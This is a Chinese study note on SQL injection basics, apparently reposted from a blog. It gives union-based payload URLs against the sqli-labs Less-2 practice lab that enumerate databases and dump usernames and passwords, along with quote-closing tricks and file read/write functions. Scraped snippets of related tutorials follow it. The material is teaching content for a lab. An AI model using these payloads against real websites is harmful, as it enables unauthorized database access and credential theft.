WEB安全基础之sql注入基础

1.基础sql语句

注释 单行注释# %23--+  --加空格多行注释/**/

SELECT(VERSION())
SELECT(USER())
SELECT(database())  查数据库
SELECT(@@datadir)   查数据库路径
SELECT(@@version_compile_os)  查系统版本version()  数据库版本load_file() 读文件操作current_user() 当前用户名(可用来查看权限Into outfile() / into dumpfile     写文件

show DATABASES
use  security
show tables
select username,password from users
use information_schema
show tables
desc tables
select SCHEMA_name from information_schema.schemata    查所有的数据库
select table_name from information_schema.tables where table_schema = "security"   查表
select column_name from information_schema.COLUMNS where table_name = "users"      查列
select username,password from SECURITY.users where id =10       查列的内容        

2.显注----基本联合注入

由上可知注入代码为

1.查询当前数据库和用户

http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,user(),version()

2.查询所有数据库

http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,database(),group_concat(schema_name) from information_schema.schemata

3.查某数据库下的所有表名

http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=‘security‘

4.查某表下所有列(字段)名

http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,database(),group_concat(column_name) from information_schema.columns where table_name=‘users‘

5.查询字段的内容

http://10.1.2.5:10631/sqli/Less-2/?id=-1 union select 1,database(),group_concat(id,‘--‘,username,‘--‘,password) from users

某一猥琐手法

http://10.1.2.5:10631/sqli/Less-2/?id=2 union select 1,version(),3 order by 2  

1.一般求闭合字符

数字型                              闭合方法

字符型 ‘id‘                         ‘ and 1=1--+

"id"                               " and 1=1--+

("id")                             ") and 1=1--+

(‘id‘)                             ‘) and 1=1--+

原文地址:https://www.cnblogs.com/hackxf/p/8877104.html

时间: 2024-10-07 15:42:43

WEB安全基础之sql注入基础的相关文章

渗透学习笔记--基础篇--sql注入(字符型)

环境:dvwa1.7数据库:mysql前置知识:sql语句(Click me)      在进行sql注入前,我们先熟悉熟悉select语句.一.打开我们的sql终端 二.进入之后可以看到有mysql>我们输入sql语句,即可返回我们想要的结果,注意分号哟!我们使用的dvwa,在我们前几章设置的时候,会在数据库中生成一个dvwa的database:这里我们使用它来进行我们的select 语句:(1)使用dvwa数据库use dvwa;(2)在users表里查询用户名为'admin'的所有信息se

通过sqli-labs学习sql注入——基础挑战之less1

环境准备: Phpstudy  (PHP+Apache+Mysql) Sql-lab 首先了解下基础知识: URL编码: 因为在浏览器中,当我们访问一个网址的时候,浏览器会自动将用户输入的网址进行URL编码,因为Http协议中参数的传输是"key=value"这种键值对形式的,所以会将“=”,“#”等字常见的字符进行URL编码.等号的URL编码为%23,空格是%20,单引号是%27, 井号是%23,双引号是%22等,(详情可参考http://www.w3school.com.cn/ta

(转)Java Web系列:Spring依赖注入基础

一.Spring简介 1.Spring简化Java开发 Spring Framework是一个应用框架,框架一般是半成品,我们在框架的基础上可以不用每个项目自己实现架构.基础设施和常用功能性组件,而是可以专注业务逻辑.因此学习Spring Framework在架构和模式方面的结构和原理,对我们在架构和模块级别的理解帮助极大.Spring Framework(参考1)的宗旨是简化Java开发,主要的手段如下: (1)在架构上解耦:通过DI(依赖注入)管理类型依赖,通过AOP分离关注点,减少重复代码

Java Web系列:Spring依赖注入基础

一.Spring简介 1.Spring简化Java开发 Spring Framework是一个应用框架,框架一般是半成品,我们在框架的基础上可以不用每个项目自己实现架构.基础设施和常用功能性组件,而是可以专注业务逻辑.因此学习Spring Framework在架构和模式方面的结构和原理,对我们在架构和模块级别的理解帮助极大.Spring Framework(参考1)的宗旨是简化Java开发,主要的手段如下: (1)在架构上解耦:通过DI(依赖注入)管理类型依赖,通过AOP分离关注点,减少重复代码

通过sqli-labs学习sql注入——基础挑战之less1-10

虽然sql注入接触过不少,其实也不太多,但是不系统,那就通过sqli-libs系统学习总结一下吧 注:第一个就说得详细一点,后面的有新知识才会说,所以第一个一定要看!!!如果第一个还有不明白的地方,欢迎评论提问,注意一定自己要先实践. 我的学习的方法是什么呢? 先自己尝试一下注入,实在不行就看源码,再不行就看别人的指导,反正就是要弄懂 开篇先说说一些基础知识,当然一些基本的sql语句就自己去学吧(根据学习进程更新),less1的基础知识也是比较多的!!,学到学不动了再写个总结吧 url编码:一般

通过sqli-labs学习sql注入——基础挑战之less1-3

首先,先看一些基础知识吧!!!!本人只是初学者,记录一下自己的学习过程,有什么错误之处请指出,谢谢!大佬请绕过!!!! url编码:一般的url编码其实就是那个字符的ASCII值得十六进制,再在前面加个%.具体的编码对应请看w3school上的编码表:http://www.w3school.com.cn/tags/html_ref_urlencode.html 常见的有:空格是%20,单引号是%27, 井号是%23,双引号是%22 判断sql注入(显错和基于错误的盲注):单引号,and 1=1 

sql注入基础

有好多人都只知道有sql注入漏洞这种漏洞,也知道怎么用一些工具来利用漏洞,但是却不知道SQL注入漏洞的原理.为了帮助初学者理解sql注入的原理,我写下了这篇文章,希望能对大家有所帮助. 什么是SQL注入: SQL注入是攻击者通过把恶意SQL命令插入到Web表单的输入域或页面请求的查询字符串中,来达到欺骗服务器执行恶意的SQL命令的一种攻击方式.(数据与代码没有完全分离) Sql注入漏洞产生原理: 上面我们提到SQL注入的产生原因是数据和代码没有完全分离产生的.下面我们来看看SQL注入漏洞具体的产

渗透学习笔记--基础篇--sql注入(数字型)

环境:dvwa 1.7数据库:mysql dvwa的安全等级:medium 一.分析和查找注入点(1)知识点回顾如果上一篇有好好读过的同学应该知道,我们上一篇遇到的字符型注入.也即是通过Get或者Post方式传进去的数据被单引号或者双引号包裹住.如果我们想要注入自己的payload(有效载荷)的话,则我们必须先闭合前面的单引号或者双引号,否则我们的数据始终会被当做成字符串来处理. 这种类型的注入点称为字符型注入点. (2)这次我们的把防御等级提升了一个层次,来逐步加强我们手工注入的能力以及开更多

基础篇——SQL注入(手工注入)

SQL注入 当我们学习一个知识时我们要考虑几个问题:是什么?怎么做?然后进行有条理的学习 是什么? 首先我们要明白SQL注入是什么: sql——结构化查询语言 SQL注入就是在网站url中插入sql语句,执行sql命令,获取数据库内容,达到欺骗服务器的目的. SQL注入的原理:普通用户提交sql查询语句,网站没有对用户输入进行过滤导致执行用户命令 危害及防护 危害:SQL注入可以使入侵者获取后台账号密码.拖库.进入后台破坏.拿shell 防护:设置网站黑名单.限制敏感词汇.对用户输入进行转义.将